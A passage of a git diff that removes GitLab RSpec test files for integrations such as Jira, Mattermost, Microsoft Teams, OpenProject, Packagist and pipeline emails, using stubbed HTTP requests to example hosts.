- it 'creates Remote Link reference but does not create comment' do
- allow(jira_service).to receive_messages(comment_on_event_enabled: false)
- close_issue
-
- expect(WebMock).not_to have_requested(:post, comment_url)
- expect(WebMock).to have_requested(:post, remote_link_url)
- end
- end
-
- context 'when Remote Link already exists' do
- let(:remote_link) do
- double(
- 'remote link',
- object: {
- url: "#{Gitlab.config.gitlab.url}/#{project.full_path}/-/commit/#{commit_id}"
- }.with_indifferent_access
- )
- end
-
- it 'does not create comment' do
- allow(JIRA::Resource::Remotelink).to receive(:all).and_return([remote_link])
-
- expect(remote_link).to receive(:save!)
-
- close_issue
-
- expect(WebMock).not_to have_requested(:post, comment_url)
- end
- end
-
- it 'does not send comment or remote links to issues already closed' do
- allow_any_instance_of(JIRA::Resource::Issue).to receive(:resolution).and_return(true)
-
- close_issue
-
- expect(WebMock).not_to have_requested(:post, comment_url)
- expect(WebMock).not_to have_requested(:post, remote_link_url)
- end
-
- it 'does not send comment or remote links to issues with unknown resolution' do
- allow_any_instance_of(JIRA::Resource::Issue).to receive(:respond_to?).with(:resolution).and_return(false)
-
- close_issue
-
- expect(WebMock).not_to have_requested(:post, comment_url)
- expect(WebMock).not_to have_requested(:post, remote_link_url)
- end
-
- it 'references the GitLab commit' do
- stub_config_setting(base_url: custom_base_url)
-
- close_issue
-
- expect(WebMock).to have_requested(:post, comment_url).with(
- body: %r{#{custom_base_url}/#{project.full_path}/-/commit/#{commit_id}}
- ).once
- end
-
- it 'references the GitLab commit' do
- stub_config_setting(relative_url_root: '/gitlab')
- stub_config_setting(url: Settings.send(:build_gitlab_url))
-
- allow(described_class).to receive(:default_url_options) do
- { script_name: '/gitlab' }
- end
-
- close_issue
-
- expect(WebMock).to have_requested(:post, comment_url).with(
- body: %r{#{Gitlab.config.gitlab.url}/#{project.full_path}/-/commit/#{commit_id}}
- ).once
- end
-
- it 'logs exception when transition id is not valid' do
- allow(jira_service).to receive(:log_error)
- WebMock.stub_request(:post, transitions_url).with(basic_auth: %w(jira-username jira-password)).and_raise("Bad Request")
-
- close_issue
-
- expect(jira_service).to have_received(:log_error).with(
- "Issue transition failed",
- error: hash_including(
- exception_class: 'StandardError',
- exception_message: "Bad Request"
- ),
- client_url: "http://jira.example.com"
- )
- end
-
- it 'calls the api with jira_issue_transition_id' do
- close_issue
-
- expect(WebMock).to have_requested(:post, transitions_url).with(
- body: /"id":"999"/
- ).once
- end
-
- context 'when custom transition IDs are blank' do
- before do
- jira_service.jira_issue_transition_id = ''
- end
-
- it 'does not transition the issue' do
- close_issue
-
- expect(WebMock).not_to have_requested(:post, transitions_url)
- end
- end
-
- context 'when using automatic issue transitions' do
- let(:transitions) do
- [
- { id: '1' },
- { id: '2', to: { statusCategory: { key: 'new' } } },
- { id: '3', to: { statusCategory: { key: 'done' } } },
- { id: '4', to: { statusCategory: { key: 'done' } } }
- ]
- end
-
- before do
- jira_service.jira_issue_transition_automatic = true
-
- close_issue
- end
-
- it 'uses the next transition with a status category of done' do
- expect(WebMock).to have_requested(:post, transitions_url).with(
- body: /"id":"3"/
- ).once
- end
-
- context 'when no done transition is available' do
- let(:transitions) do
- [
- { id: '1', to: { statusCategory: { key: 'new' } } }
- ]
- end
-
- it 'does not attempt to transition' do
- expect(WebMock).not_to have_requested(:post, transitions_url)
- end
- end
-
- context 'when no valid transitions are returned' do
- let(:transitions) { 'foo' }
-
- it 'does not attempt to transition' do
- expect(WebMock).not_to have_requested(:post, transitions_url)
- end
- end
- end
-
- context 'when using multiple transition ids' do
- before do
- allow(jira_service).to receive_messages(jira_issue_transition_id: '1,2,3')
- end
-
- it 'calls the api with transition ids separated by comma' do
- close_issue
-
- 1.upto(3) do |transition_id|
- expect(WebMock).to have_requested(:post, transitions_url).with(
- body: /"id":"#{transition_id}"/
- ).once
- end
-
- expect(WebMock).to have_requested(:post, comment_url)
- end
-
- it 'calls the api with transition ids separated by semicolon' do
- allow(jira_service).to receive_messages(jira_issue_transition_id: '1;2;3')
-
- close_issue
-
- 1.upto(3) do |transition_id|
- expect(WebMock).to have_requested(:post, transitions_url).with(
- body: /"id":"#{transition_id}"/
- ).once
- end
-
- expect(WebMock).to have_requested(:post, comment_url)
- end
-
- context 'when a transition fails' do
- before do
- WebMock.stub_request(:post, transitions_url).with(basic_auth: %w(jira-username jira-password)).to_return do |request|
- { status: request.body.include?('"id":"2"') ? 500 : 200 }
- end
- end
-
- it 'stops the sequence' do
- close_issue
-
- 1.upto(2) do |transition_id|
- expect(WebMock).to have_requested(:post, transitions_url).with(
- body: /"id":"#{transition_id}"/
- )
- end
-
- expect(WebMock).not_to have_requested(:post, transitions_url).with(
- body: /"id":"3"/
- )
-
- expect(WebMock).not_to have_requested(:post, comment_url)
- end
- end
- end
- end
-
- context 'when resource is a merge request' do
- let(:resource) { create(:merge_request) }
- let(:commit_id) { resource.diff_head_sha }
-
- it_behaves_like 'close_issue'
- end
-
- context 'when resource is a commit' do
- let(:resource) { project.commit('master') }
- let(:commit_id) { resource.id }
-
- it_behaves_like 'close_issue'
- end
- end
-
- describe '#create_cross_reference_note' do
- let_it_be(:user) { build_stubbed(:user) }
-
- let(:jira_issue) { ExternalIssue.new('JIRA-123', project) }
-
- subject { jira_service.create_cross_reference_note(jira_issue, resource, user) }
-
- shared_examples 'creates a comment on Jira' do
- let(:issue_url) { "#{url}/rest/api/2/issue/JIRA-123" }
- let(:comment_url) { "#{issue_url}/comment" }
- let(:remote_link_url) { "#{issue_url}/remotelink" }
-
- before do
- allow(JIRA::Resource::Remotelink).to receive(:all).and_return([])
- stub_request(:get, issue_url).with(basic_auth: [username, password])
- stub_request(:post, comment_url).with(basic_auth: [username, password])
- stub_request(:post, remote_link_url).with(basic_auth: [username, password])
- end
-
- it 'creates a comment on Jira' do
- subject
-
- expect(WebMock).to have_requested(:post, comment_url).with(
- body: /mentioned this issue in/
- ).once
- end
-
- it 'tracks usage' do
- expect(Gitlab::UsageDataCounters::HLLRedisCounter)
- .to receive(:track_event)
- .with('i_ecosystem_jira_service_cross_reference', values: user.id)
-
- subject
- end
- end
-
- context 'when resource is a commit' do
- let(:resource) { project.commit('master') }
-
- context 'when disabled' do
- before do
- allow_next_instance_of(JiraService) do |instance|
- allow(instance).to receive(:commit_events) { false }
- end
- end
-
- it { is_expected.to eq('Events for commits are disabled.') }
- end
-
- context 'when enabled' do
- it_behaves_like 'creates a comment on Jira'
- end
- end
-
- context 'when resource is a merge request' do
- let(:resource) { build_stubbed(:merge_request, source_project: project) }
-
- context 'when disabled' do
- before do
- allow_next_instance_of(JiraService) do |instance|
- allow(instance).to receive(:merge_requests_events) { false }
- end
- end
-
- it { is_expected.to eq('Events for merge requests are disabled.') }
- end
-
- context 'when enabled' do
- it_behaves_like 'creates a comment on Jira'
- end
- end
- end
-
- describe '#test' do
- let(:server_info_results) { { 'url' => 'http://url', 'deploymentType' => 'Cloud' } }
-
- def server_info
- jira_service.test(nil)
- end
-
- context 'when the test succeeds' do
- it 'gets Jira project with URL when API URL not set' do
- expect(server_info).to eq(success: true, result: server_info_results)
- expect(WebMock).to have_requested(:get, /jira.example.com/)
- end
-
- it 'gets Jira project with API URL if set' do
- jira_service.update!(api_url: 'http://jira.api.com')
-
- expect(server_info).to eq(success: true, result: server_info_results)
- expect(WebMock).to have_requested(:get, /jira.api.com/)
- end
- end
-
- context 'when the test fails' do
- it 'returns result with the error' do
- test_url = 'http://jira.example.com/rest/api/2/serverInfo'
- error_message = 'Some specific failure.'
-
- WebMock.stub_request(:get, test_url).with(basic_auth: [username, password])
- .to_raise(JIRA::HTTPError.new(double(message: error_message)))
-
- expect(jira_service).to receive(:log_error).with(
- 'Error sending message',
- client_url: 'http://jira.example.com',
- error: error_message
- )
-
- expect(jira_service.test(nil)).to eq(success: false, result: error_message)
- end
- end
- end
-
- describe 'project and issue urls' do
- context 'when gitlab.yml was initialized' do
- it 'is prepopulated with the settings' do
- settings = {
- 'jira' => {
- 'url' => 'http://jira.sample/projects/project_a',
- 'api_url' => 'http://jira.sample/api'
- }
- }
- allow(Gitlab.config).to receive(:issues_tracker).and_return(settings)
-
- service = project.create_jira_service(active: true)
-
- expect(service.url).to eq('http://jira.sample/projects/project_a')
- expect(service.api_url).to eq('http://jira.sample/api')
- end
- end
-
- it 'removes trailing slashes from url' do
- service = described_class.new(url: 'http://jira.test.com/path/')
-
- expect(service.url).to eq('http://jira.test.com/path')
- end
- end
-
- describe 'favicon urls' do
- it 'includes the standard favicon' do
- props = described_class.new.send(:build_remote_link_props, url: 'http://example.com', title: 'title')
- expect(props[:object][:icon][:url16x16]).to match %r{^http://localhost/assets/favicon(?:-\h+).png$}
- end
-
- it 'includes returns the custom favicon' do
- create :appearance, favicon: fixture_file_upload('spec/fixtures/dk.png')
-
- props = described_class.new.send(:build_remote_link_props, url: 'http://example.com', title: 'title')
- expect(props[:object][:icon][:url16x16]).to match %r{^http://localhost/uploads/-/system/appearance/favicon/\d+/dk.png$}
- end
- end
-
- context 'generating external URLs' do
- let(:service) { described_class.new(url: 'http://jira.test.com/path/') }
-
- describe '#issues_url' do
- it 'handles trailing slashes' do
- expect(service.issues_url).to eq('http://jira.test.com/path/browse/:id')
- end
- end
-
- describe '#new_issue_url' do
- it 'handles trailing slashes' do
- expect(service.new_issue_url).to eq('http://jira.test.com/path/secure/CreateIssue!default.jspa')
- end
- end
- end
-
- describe '#issue_transition_enabled?' do
- it 'returns true if automatic transitions are enabled' do
- jira_service.jira_issue_transition_automatic = true
-
- expect(jira_service.issue_transition_enabled?).to be(true)
- end
-
- it 'returns true if custom transitions are set' do
- jira_service.jira_issue_transition_id = '1, 2, 3'
-
- expect(jira_service.issue_transition_enabled?).to be(true)
- end
-
- it 'returns false if automatic and custom transitions are disabled' do
- expect(jira_service.issue_transition_enabled?).to be(false)
- end
- end
-end
diff --git a/spec/models/project_services/jira_tracker_data_spec.rb b/spec/models/project_services/jira_tracker_data_spec.rb
deleted file mode 100644
index 72bdbe40a74..00000000000
--- a/spec/models/project_services/jira_tracker_data_spec.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe JiraTrackerData do
- describe 'associations' do
- it { is_expected.to belong_to(:integration) }
- end
-
- describe 'deployment_type' do
- it { is_expected.to define_enum_for(:deployment_type).with_values([:unknown, :server, :cloud]).with_prefix(:deployment) }
- end
-
- describe 'encrypted attributes' do
- subject { described_class.encrypted_attributes.keys }
-
- it { is_expected.to contain_exactly(:api_url, :password, :url, :username) }
- end
-end
diff --git a/spec/models/project_services/mattermost_service_spec.rb b/spec/models/project_services/mattermost_service_spec.rb
deleted file mode 100644
index af1944ea77d..00000000000
--- a/spec/models/project_services/mattermost_service_spec.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe MattermostService do
- it_behaves_like "slack or mattermost notifications", "Mattermost"
-end
diff --git a/spec/models/project_services/mattermost_slash_commands_service_spec.rb b/spec/models/project_services/mattermost_slash_commands_service_spec.rb
deleted file mode 100644
index 87befdd4303..00000000000
--- a/spec/models/project_services/mattermost_slash_commands_service_spec.rb
+++ /dev/null
@@ -1,132 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe MattermostSlashCommandsService do
- it_behaves_like "chat slash commands service"
-
- context 'Mattermost API' do
- let(:project) { create(:project) }
- let(:service) { project.build_mattermost_slash_commands_service }
- let(:user) { create(:user) }
-
- before do
- session = Mattermost::Session.new(nil)
- session.base_uri = 'http://mattermost.example.com'
-
- allow_any_instance_of(Mattermost::Client).to receive(:with_session)
- .and_yield(session)
- end
-
- describe '#configure' do
- subject do
- service.configure(user, team_id: 'abc',
- trigger: 'gitlab', url: 'http://trigger.url',
- icon_url: 'http://icon.url/icon.png')
- end
-
- context 'the requests succeeds' do
- before do
- stub_request(:post, 'http://mattermost.example.com/api/v4/commands')
- .with(body: {
- team_id: 'abc',
- trigger: 'gitlab',
- url: 'http://trigger.url',
- icon_url: 'http://icon.url/icon.png',
- auto_complete: true,
- auto_complete_desc: "Perform common operations on: #{project.full_name}",
- auto_complete_hint: '[help]',
- description: "Perform common operations on: #{project.full_name}",
- display_name: "GitLab / #{project.full_name}",
- method: 'P',
- username: 'GitLab'
- }.to_json)
- .to_return(
- status: 200,
- headers: { 'Content-Type' => 'application/json' },
- body: { token: 'token' }.to_json
- )
- end
-
- it 'saves the service' do
- expect { subject }.to change { project.integrations.count }.by(1)
- end
-
- it 'saves the token' do
- subject
-
- expect(service.reload.token).to eq('token')
- end
- end
-
- context 'an error is received' do
- before do
- stub_request(:post, 'http://mattermost.example.com/api/v4/commands')
- .to_return(
- status: 500,
- headers: { 'Content-Type' => 'application/json' },
- body: {
- id: 'api.command.duplicate_trigger.app_error',
- message: 'This trigger word is already in use. Please choose another word.',
- detailed_error: '',
- request_id: 'obc374man7bx5r3dbc1q5qhf3r',
- status_code: 500
- }.to_json
- )
- end
-
- it 'shows error messages' do
- succeeded, message = subject
-
- expect(succeeded).to be(false)
- expect(message).to eq('This trigger word is already in use. Please choose another word.')
- end
- end
- end
-
- describe '#list_teams' do
- subject do
- service.list_teams(user)
- end
-
- context 'the requests succeeds' do
- before do
- stub_request(:get, 'http://mattermost.example.com/api/v4/users/me/teams')
- .to_return(
- status: 200,
- headers: { 'Content-Type' => 'application/json' },
- body: [{ id: 'test_team_id' }].to_json
- )
- end
-
- it 'returns a list of teams' do
- expect(subject).not_to be_empty
- end
- end
-
- context 'an error is received' do
- before do
- stub_request(:get, 'http://mattermost.example.com/api/v4/users/me/teams')
- .to_return(
- status: 500,
- headers: { 'Content-Type' => 'application/json' },
- body: {
- message: 'Failed to get team list.'
- }.to_json
- )
- end
-
- it 'shows error messages' do
- expect(subject).to eq([[], "Failed to get team list."])
- end
- end
- end
-
- describe '#chat_responder' do
- it 'returns the responder to use for Mattermost' do
- expect(described_class.new.chat_responder)
- .to eq(Gitlab::Chat::Responder::Mattermost)
- end
- end
- end
-end
diff --git a/spec/models/project_services/microsoft_teams_service_spec.rb b/spec/models/project_services/microsoft_teams_service_spec.rb
deleted file mode 100644
index 5f3a94a5b99..00000000000
--- a/spec/models/project_services/microsoft_teams_service_spec.rb
+++ /dev/null
@@ -1,360 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe MicrosoftTeamsService do
- let(:chat_service) { described_class.new }
- let(:webhook_url) { 'https://example.gitlab.com/' }
-
- describe "Associations" do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:webhook) }
- it_behaves_like 'issue tracker service URL attribute', :webhook
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:webhook) }
- end
- end
-
- describe '.supported_events' do
- it 'does not support deployment_events' do
- expect(described_class.supported_events).not_to include('deployment')
- end
- end
-
- describe "#execute" do
- let(:user) { create(:user) }
-
- let_it_be(:project) { create(:project, :repository, :wiki_repo) }
-
- before do
- allow(chat_service).to receive_messages(
- project: project,
- project_id: project.id,
- service_hook: true,
- webhook: webhook_url
- )
-
- WebMock.stub_request(:post, webhook_url)
- end
-
- context 'with push events' do
- let(:push_sample_data) do
- Gitlab::DataBuilder::Push.build_sample(project, user)
- end
-
- it "calls Microsoft Teams API for push events" do
- chat_service.execute(push_sample_data)
-
- expect(WebMock).to have_requested(:post, webhook_url).once
- end
-
- it 'specifies the webhook when it is configured' do
- expect(MicrosoftTeams::Notifier).to receive(:new).with(webhook_url).and_return(double(:microsoft_teams_service).as_null_object)
-
- chat_service.execute(push_sample_data)
- end
- end
-
- context 'with issue events' do
- let(:opts) { { title: 'Awesome issue', description: 'please fix' } }
- let(:issues_sample_data) do
- service = Issues::CreateService.new(project: project, current_user: user, params: opts)
- issue = service.execute
- service.hook_data(issue, 'open')
- end
-
- it "calls Microsoft Teams API" do
- chat_service.execute(issues_sample_data)
-
- expect(WebMock).to have_requested(:post, webhook_url).once
- end
- end
-
- context 'with merge events' do
- let(:opts) do
- {
- title: 'Awesome merge_request',
- description: 'please fix',
- source_branch: 'feature',
- target_branch: 'master'
- }
- end
-
- let(:merge_sample_data) do
- service = MergeRequests::CreateService.new(project: project, current_user: user, params: opts)
- merge_request = service.execute
- service.hook_data(merge_request, 'open')
- end
-
- before do
- project.add_developer(user)
- end
-
- it "calls Microsoft Teams API" do
- chat_service.execute(merge_sample_data)
-
- expect(WebMock).to have_requested(:post, webhook_url).once
- end
- end
-
- context 'with wiki page events' do
- let(:opts) do
- {
- title: "Awesome wiki_page",
- content: "Some text describing some thing or another",
- format: "md",
- message: "user created page: Awesome wiki_page"
- }
- end
-
- let(:wiki_page) { create(:wiki_page, wiki: project.wiki, **opts) }
- let(:wiki_page_sample_data) { Gitlab::DataBuilder::WikiPage.build(wiki_page, user, 'create') }
-
- it "calls Microsoft Teams API" do
- chat_service.execute(wiki_page_sample_data)
-
- expect(WebMock).to have_requested(:post, webhook_url).once
- end
- end
- end
-
- describe "Note events" do
- let(:user) { create(:user) }
- let(:project) { create(:project, :repository, creator: user) }
-
- before do
- allow(chat_service).to receive_messages(
- project: project,
- project_id: project.id,
- service_hook: true,
- webhook: webhook_url
- )
-
- WebMock.stub_request(:post, webhook_url)
- end
-
- context 'when commit comment event executed' do
- let(:commit_note) do
- create(:note_on_commit, author: user,
- project: project,
- commit_id: project.repository.commit.id,
- note: 'a comment on a commit')
- end
-
- it "calls Microsoft Teams API for commit comment events" do
- data = Gitlab::DataBuilder::Note.build(commit_note, user)
-
- chat_service.execute(data)
-
- expect(WebMock).to have_requested(:post, webhook_url).once
- end
- end
-
- context 'when merge request comment event executed' do
- let(:merge_request_note) do
- create(:note_on_merge_request, project: project,
- note: "merge request note")
- end
-
- it "calls Microsoft Teams API for merge request comment events" do
- data = Gitlab::DataBuilder::Note.build(merge_request_note, user)
-
- chat_service.execute(data)
-
- expect(WebMock).to have_requested(:post, webhook_url).once
- end
- end
-
- context 'when issue comment event executed' do
- let(:issue_note) do
- create(:note_on_issue, project: project, note: "issue note")
- end
-
- it "calls Microsoft Teams API for issue comment events" do
- data = Gitlab::DataBuilder::Note.build(issue_note, user)
-
- chat_service.execute(data)
-
- expect(WebMock).to have_requested(:post, webhook_url).once
- end
- end
-
- context 'when snippet comment event executed' do
- let(:snippet_note) do
- create(:note_on_project_snippet, project: project,
- note: "snippet note")
- end
-
- it "calls Microsoft Teams API for snippet comment events" do
- data = Gitlab::DataBuilder::Note.build(snippet_note, user)
-
- chat_service.execute(data)
-
- expect(WebMock).to have_requested(:post, webhook_url).once
- end
- end
- end
-
- describe 'Pipeline events' do
- let(:user) { create(:user) }
- let(:project) { create(:project, :repository) }
-
- let(:pipeline) do
- create(:ci_pipeline,
- project: project, status: status,
- sha: project.commit.sha, ref: project.default_branch)
- end
-
- before do
- allow(chat_service).to receive_messages(
- project: project,
- service_hook: true,
- webhook: webhook_url
- )
- end
-
- shared_examples 'call Microsoft Teams API' do |branches_to_be_notified: nil|
- before do
- WebMock.stub_request(:post, webhook_url)
- chat_service.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
- end
-
- it 'calls Microsoft Teams API for pipeline events' do
- data = Gitlab::DataBuilder::Pipeline.build(pipeline)
- data[:markdown] = true
-
- chat_service.execute(data)
-
- message = Integrations::ChatMessage::PipelineMessage.new(data)
-
- expect(WebMock).to have_requested(:post, webhook_url)
- .with(body: hash_including({ summary: message.summary }))
- .once
- end
- end
-
- shared_examples 'does not call Microsoft Teams API' do |branches_to_be_notified: nil|
- before do
- chat_service.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
- end
- it 'does not call Microsoft Teams API for pipeline events' do
- data = Gitlab::DataBuilder::Pipeline.build(pipeline)
- result = chat_service.execute(data)
-
- expect(result).to be_falsy
- end
- end
-
- context 'with failed pipeline' do
- let(:status) { 'failed' }
-
- it_behaves_like 'call Microsoft Teams API'
- end
-
- context 'with succeeded pipeline' do
- let(:status) { 'success' }
-
- context 'with default to notify_only_broken_pipelines' do
- it 'does not call Microsoft Teams API for pipeline events' do
- data = Gitlab::DataBuilder::Pipeline.build(pipeline)
- result = chat_service.execute(data)
-
- expect(result).to be_falsy
- end
- end
-
- context 'with setting notify_only_broken_pipelines to false' do
- before do
- chat_service.notify_only_broken_pipelines = false
- end
-
- it_behaves_like 'call Microsoft Teams API'
- end
- end
-
- context 'with default branch' do
- let(:pipeline) do
- create(:ci_pipeline, project: project, status: 'failed', sha: project.commit.sha, ref: project.default_branch)
- end
-
- context 'only notify for the default branch' do
- it_behaves_like 'call Microsoft Teams API', branches_to_be_notified: "default"
- end
-
- context 'notify for only protected branches' do
- it_behaves_like 'does not call Microsoft Teams API', branches_to_be_notified: "protected"
- end
-
- context 'notify for only default and protected branches' do
- it_behaves_like 'call Microsoft Teams API', branches_to_be_notified: "default_and_protected"
- end
-
- context 'notify for all branches' do
- it_behaves_like 'call Microsoft Teams API', branches_to_be_notified: "all"
- end
- end
-
- context 'with protected branch' do
- before do
- create(:protected_branch, project: project, name: 'a-protected-branch')
- end
-
- let(:pipeline) do
- create(:ci_pipeline, project: project, status: 'failed', sha: project.commit.sha, ref: 'a-protected-branch')
- end
-
- context 'only notify for the default branch' do
- it_behaves_like 'does not call Microsoft Teams API', branches_to_be_notified: "default"
- end
-
- context 'notify for only protected branches' do
- it_behaves_like 'call Microsoft Teams API', branches_to_be_notified: "protected"
- end
-
- context 'notify for only default and protected branches' do
- it_behaves_like 'call Microsoft Teams API', branches_to_be_notified: "default_and_protected"
- end
-
- context 'notify for all branches' do
- it_behaves_like 'call Microsoft Teams API', branches_to_be_notified: "all"
- end
- end
-
- context 'with neither protected nor default branch' do
- let(:pipeline) do
- create(:ci_pipeline, project: project, status: 'failed', sha: project.commit.sha, ref: 'a-random-branch')
- end
-
- context 'only notify for the default branch' do
- it_behaves_like 'does not call Microsoft Teams API', branches_to_be_notified: "default"
- end
-
- context 'notify for only protected branches' do
- it_behaves_like 'does not call Microsoft Teams API', branches_to_be_notified: "protected"
- end
-
- context 'notify for only default and protected branches' do
- it_behaves_like 'does not call Microsoft Teams API', branches_to_be_notified: "default_and_protected"
- end
-
- context 'notify for all branches' do
- it_behaves_like 'call Microsoft Teams API', branches_to_be_notified: "all"
- end
- end
- end
-end
diff --git a/spec/models/project_services/open_project_service_spec.rb b/spec/models/project_services/open_project_service_spec.rb
deleted file mode 100644
index 1abaab0ceff..00000000000
--- a/spec/models/project_services/open_project_service_spec.rb
+++ /dev/null
@@ -1,35 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe OpenProjectService do
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:url) }
- it { is_expected.to validate_presence_of(:token) }
- it { is_expected.to validate_presence_of(:project_identifier_code) }
-
- it_behaves_like 'issue tracker service URL attribute', :url
- it_behaves_like 'issue tracker service URL attribute', :api_url
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:url) }
- it { is_expected.not_to validate_presence_of(:token) }
- it { is_expected.not_to validate_presence_of(:project_identifier_code) }
- end
- end
-
- describe 'Associations' do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-end
diff --git a/spec/models/project_services/open_project_tracker_data_spec.rb b/spec/models/project_services/open_project_tracker_data_spec.rb
deleted file mode 100644
index 1f7f01cfea4..00000000000
--- a/spec/models/project_services/open_project_tracker_data_spec.rb
+++ /dev/null
@@ -1,19 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe OpenProjectTrackerData do
- describe 'associations' do
- it { is_expected.to belong_to(:integration) }
- end
-
- describe 'closed_status_id' do
- it 'returns the set value' do
- expect(build(:open_project_tracker_data).closed_status_id).to eq('15')
- end
-
- it 'returns the default value if not set' do
- expect(build(:open_project_tracker_data, closed_status_id: nil).closed_status_id).to eq('13')
- end
- end
-end
diff --git a/spec/models/project_services/packagist_service_spec.rb b/spec/models/project_services/packagist_service_spec.rb
deleted file mode 100644
index 33b5c9809c7..00000000000
--- a/spec/models/project_services/packagist_service_spec.rb
+++ /dev/null
@@ -1,48 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe PackagistService do
- let(:packagist_params) do
- {
- active: true,
- project: project,
- properties: {
- username: packagist_username,
- token: packagist_token,
- server: packagist_server
- }
- }
- end
-
- let(:packagist_hook_url) do
- "#{packagist_server}/api/update-package?username=#{packagist_username}&apiToken=#{packagist_token}"
- end
-
- let(:packagist_token) { 'verySecret' }
- let(:packagist_username) { 'theUser' }
- let(:packagist_server) { 'https://packagist.example.com' }
- let(:project) { create(:project) }
-
- describe "Associations" do
- it { is_expected.to belong_to :project }
- it { is_expected.to have_one :service_hook }
- end
-
- describe '#execute' do
- let(:user) { create(:user) }
- let(:project) { create(:project, :repository) }
- let(:push_sample_data) { Gitlab::DataBuilder::Push.build_sample(project, user) }
- let(:packagist_service) { described_class.create!(packagist_params) }
-
- before do
- stub_request(:post, packagist_hook_url)
- end
-
- it 'calls Packagist API' do
- packagist_service.execute(push_sample_data)
-
- expect(a_request(:post, packagist_hook_url)).to have_been_made.once
- end
- end
-end
diff --git a/spec/models/project_services/pipelines_email_service_spec.rb b/spec/models/project_services/pipelines_email_service_spec.rb
deleted file mode 100644
index 21cc5d44558..00000000000
--- a/spec/models/project_services/pipelines_email_service_spec.rb
+++ /dev/null
@@ -1,305 +0,0 @@
-# frozen_string_literal: true
-
-require 'spec_helper'
-
-RSpec.describe PipelinesEmailService, :mailer do
- let(:pipeline) do
- create(:ci_pipeline, :failed,
- project: project,
- sha: project.commit('master').sha,
- ref: project.default_branch
- )
- end
-
- let(:project) { create(:project, :repository) }
- let(:recipients) { 'test@gitlab.com' }
- let(:receivers) { [recipients] }
-
- let(:data) do
- Gitlab::DataBuilder::Pipeline.build(pipeline)
- end
-
- describe 'Validations' do
- context 'when service is active' do
- before do
- subject.active = true
- end
-
- it { is_expected.to validate_presence_of(:recipients) }
- end
-
- context 'when service is inactive' do
- before do
- subject.active = false
- end
-
- it { is_expected.not_to validate_presence_of(:recipients) }
- end
- end
-
- shared_examples 'sending email' do |branches_to_be_notified: nil|
- before do
- subject.recipients = recipients
- subject.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
-
- perform_enqueued_jobs do
- run
- end
- end
-
- it 'sends email' do
- emails = receivers.map { |r| double(notification_email: r) }
-
- should_only_email(*emails, kind: :bcc)
- end
- end
-
- shared_examples 'not sending email' do |branches_to_be_notified: nil|
- before do
- subject.recipients = recipients
- subject.branches_to_be_notified = branches_to_be_notified if branches_to_be_notified
-
- perform_enqueued_jobs do
- run
- end
- end
-
- it 'does not send email' do
- should_not_email_anyone
- end
- end
-
- describe '#test' do
- def run
- subject.test(data)
- end
-
- context 'when pipeline is failed and on default branch' do
- it_behaves_like 'sending email'
- end
-
- context 'when pipeline is succeeded' do
- before do
- data[:object_attributes][:status] = 'success'
- pipeline.update!(status: 'success')
- end
-
- it_behaves_like 'sending email'
- end
-
- context 'when the pipeline failed' do
- context 'on default branch' do
- before do
- data[:object_attributes][:ref] = project.default_branch
- pipeline.update!(ref: project.default_branch)
- end
-
- context 'notifications are enabled only for default branch' do
- it_behaves_like 'sending email', branches_to_be_notified: "default"
- end
-
- context 'notifications are enabled only for protected branch' do
- it_behaves_like 'sending email', branches_to_be_notified: "protected"
- end
-
- context 'notifications are enabled only for default and protected branches ' do
- it_behaves_like 'sending email', branches_to_be_notified: "default_and_protected"
- end
-
- context 'notifications are enabled only for all branches' do
- it_behaves_like 'sending email', branches_to_be_notified: "all"
- end
- end
-
- context 'on a protected branch' do
- before do
- create(:protected_branch, project: project, name: 'a-protected-branch')
- data[:object_attributes][:ref] = 'a-protected-branch'
- pipeline.update!(ref: 'a-protected-branch')
- end
-
- context 'notifications are enabled only for default branch' do
- it_behaves_like 'sending email', branches_to_be_notified: "default"
- end
-
- context 'notifications are enabled only for protected branch' do
- it_behaves_like 'sending email', branches_to_be_notified: "protected"
- end
-
- context 'notifications are enabled only for default and protected branches ' do
- it_behaves_like 'sending email', branches_to_be_notified: "default_and_protected"
- end
-
- context 'notifications are enabled only for all branches' do
- it_behaves_like 'sending email', branches_to_be_notified: "all"
- end
- end
-
- context 'on a neither protected nor default branch' do
- before do
- data[:object_attributes][:ref] = 'a-random-branch'
- pipeline.update!(ref: 'a-random-branch')
- end
-
- context 'notifications are enabled only for default branch' do
- it_behaves_like 'sending email', branches_to_be_notified: "default"
- end
-
- context 'notifications are enabled only for protected branch' do
- it_behaves_like 'sending email', branches_to_be_notified: "protected"
- end
-
- context 'notifications are enabled only for default and protected branches ' do
- it_behaves_like 'sending email', branches_to_be_notified: "default_and_protected"
- end
-
- context 'notifications are enabled only for all branches' do
- it_behaves_like 'sending email', branches_to_be_notified: "all"
- end
- end
- end
- end
-
- describe '#execute' do
- before do
- subject.project = project
- end
-
- def run
- subject.execute(data)
- end
-
- context 'with recipients' do
- context 'with failed pipeline' do
- it_behaves_like 'sending email'
- end
-
- context 'with succeeded pipeline' do
- before do
- data[:object_attributes][:status] = 'success'
- pipeline.update!(status: 'success')
- end
-
- it_behaves_like 'not sending email'
- end
-
- context 'with notify_only_broken_pipelines on' do
- before do
- subject.notify_only_broken_pipelines = true
- end
-
- context 'with failed pipeline' do
- it_behaves_like 'sending email'
- end
-
- context 'with succeeded pipeline' do
- before do
- data[:object_attributes][:status] = 'success'
- pipeline.update!(status: 'success')
- end
-
